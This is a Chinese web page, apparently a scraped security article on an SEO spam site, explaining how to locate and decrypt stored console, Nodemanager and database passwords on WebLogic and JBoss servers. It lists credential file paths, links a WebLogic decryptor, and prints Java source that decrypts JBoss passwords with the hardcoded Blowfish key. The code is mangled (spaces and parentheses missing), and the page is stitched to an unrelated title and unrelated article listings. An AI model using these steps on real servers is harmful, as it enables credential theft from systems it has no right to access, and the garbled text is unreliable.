WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的。

Weblogic控制台密码解密

查找boot.properties文件:

weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

查找SerializedSystemIni.dat文件,其中包含了解密key:

weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat

解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi

Nodemanager密码解密

查找config.xml文件

/weblogic/user_projects/domains/base_domain/config/config.xml

数据库密码解密

查找jdbc相关文件

/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml

成功解密

JBOSS

JBoss使用blowfish加密算法,解密key为硬编码的jaas is the way。数据库配置默认目录:

%JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml

%JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml

在没有加密的情况下,密码是明文:

jndi-nameOracleDS/jndi-name //jndi名字

use-java-contextfalse/use-java-context

connection-urljdbc:oracle:thin:@localhost:1521:orcl/connection-url //URL地址

driver-classoracle.jdbc.driver.OracleDriver/driver-class //驱动

user-nameroot/user-name //用户名

password123456/password //密码

在配置完密码加密后,加密后的密码存在jboss目录的conf/login-config.xml文件里:

application-policy name="EncryptDBPassword"

authentication

login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required"

module-option name="username"admin/module-option

module-option name="password"5dfc52b51bd35553df8592078de921bc/module-option

module-option name="managedConnectionFactoryName"jboss.jca:name=PostgresDS,service=LocalTxCM/module-option /login-module

/authentication

/application-policy

JBoss加密和解密代码:

importjava.math.BigInteger;

/*

* JBoss.java - Blowfish encryption/decryption tool with JBoss default password

* Daniel Martin Gomez daniel @ ngssoftware.com - 03/Sep/2009

*

cmd执行c代码(cmd怎么运行c文件)

* This file may be used under the terms of the GNU General Public License

* version 2.0 as published by the Free Software Foundation:

* http://www.gnu.org/licenses/gpl-2.0.html

*/

importjavax.crypto.*;

importjavax.crypto.spec.SecretKeySpec;

publicclassMain{

publicstaticvoidmain(String[] args) throwsException {

if((args.length != 2) ||

!(args[ 0].equals( "-e") | args[ 0].equals( "-d"))) {

System.out.println(

"Usage:\n\tjava JBoss -e|-d encrypted_password");

return;

}

Stringmode=args[ 0];

byte[] kbytes = "jaas is the way".getBytes;

SecretKeySpeckey=newSecretKeySpec(kbytes, "Blowfish");

Ciphercipher=Cipher.getInstance( "Blowfish");

Stringout=null;

if(mode.equals( "-e")) {

Stringsecret=args[ 1];

cipher.init(Cipher.ENCRYPT_MODE, key);

byte[] encoding = cipher.doFinal(secret.getBytes);

out = newBigInteger(encoding).toString( 16);

} else{

BigIntegersecret=newBigInteger(args[ 1], 16);

cipher.init(Cipher.DECRYPT_MODE, key);

byte[] encoding = cipher.doFinal(secret.toByteArray);

out = newString(encoding);

}

System.out.println(out);

}

}

在线解密:https://www.json.cn/runcode/run_java/

image.png 引用链接

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳“阅读原文“

扫描二维码推送至手机访问。

版权声明:本文由飞速云SEO网络优化推广发布,如需转载请注明出处。

本文链接:http://zspsrg.cn/post/100639.html

分享给朋友:

“cmd执行c代码(cmd怎么运行c文件)” 的相关文章

手机软件开发公司(手机软件开发公司免费)

手机软件开发公司(手机软件开发公司免费)

今天给各位分享手机软件开发公司的知识,其中也会对手机软件开发公司免费进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览: 1、APP软件开发公司有哪些 2、国内的app开发公司有哪些? 3、app开发公司哪有 4、app开发有名的公司有哪些? 5、ap...

系统软件开发(区块链系统软件开发)

系统软件开发(区块链系统软件开发)

今天给各位分享系统软件开发的知识,其中也会对区块链系统软件开发进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览: 1、系统软件开发公司有哪些 2、软件开发包括哪些东西? 3、软件开发和系统开发有什么区别? 4、软件开发工作具体干什么? 系统软件开发公司...

LOL手游怎么卖号(lol手游卖号吧)

LOL手游怎么卖号(lol手游卖号吧)

本篇文章给大家谈谈LOL手游怎么卖号,以及lol手游卖号吧对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。 本文目录一览: 1、英雄联盟手游账号好卖么 2、请问lol手游怎么租号? 3、5173怎么卖LOL号?就是在提交账号信息前要做什么?要解除什么?密码要吗?怎么弄啊 4、lol...

夸克浏览器怎么看百度网盘倍速(怎么用夸克浏览器看百度网盘)

夸克浏览器怎么看百度网盘倍速(怎么用夸克浏览器看百度网盘)

今天给各位分享夸克浏览器怎么看百度网盘倍速的知识,其中也会对怎么用夸克浏览器看百度网盘进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览: 1、夸克用倍速看,视频卡顿 2、夸克浏览器流畅播怎么用 3、百度网盘没有vip怎么倍速 4、百度网盘里的视频如何倍速...

网易云音乐接口api源码(网易云音乐api接口解析)

网易云音乐接口api源码(网易云音乐api接口解析)

本篇文章给大家谈谈网易云音乐接口api源码,以及网易云音乐api接口解析对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。 本文目录一览: 1、网易云怎样上传翻唱歌曲 2、网易云怎么下载音乐到u盘 3、网易云音乐android锁屏功能是怎么做出来的 网易云怎样上传翻唱歌曲 ;     ...

微信怎样制作生日祝福(微信怎样制作生日祝福表情)

微信怎样制作生日祝福(微信怎样制作生日祝福表情)

今天给各位分享微信怎样制作生日祝福的知识,其中也会对微信怎样制作生日祝福表情进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览: 1、给好朋友生日快乐微信祝福语 2、怎么用微信表情符号拼出生日快乐花样的图案 3、微信怎么自动零点发生日祝福 给好朋友生日快乐微...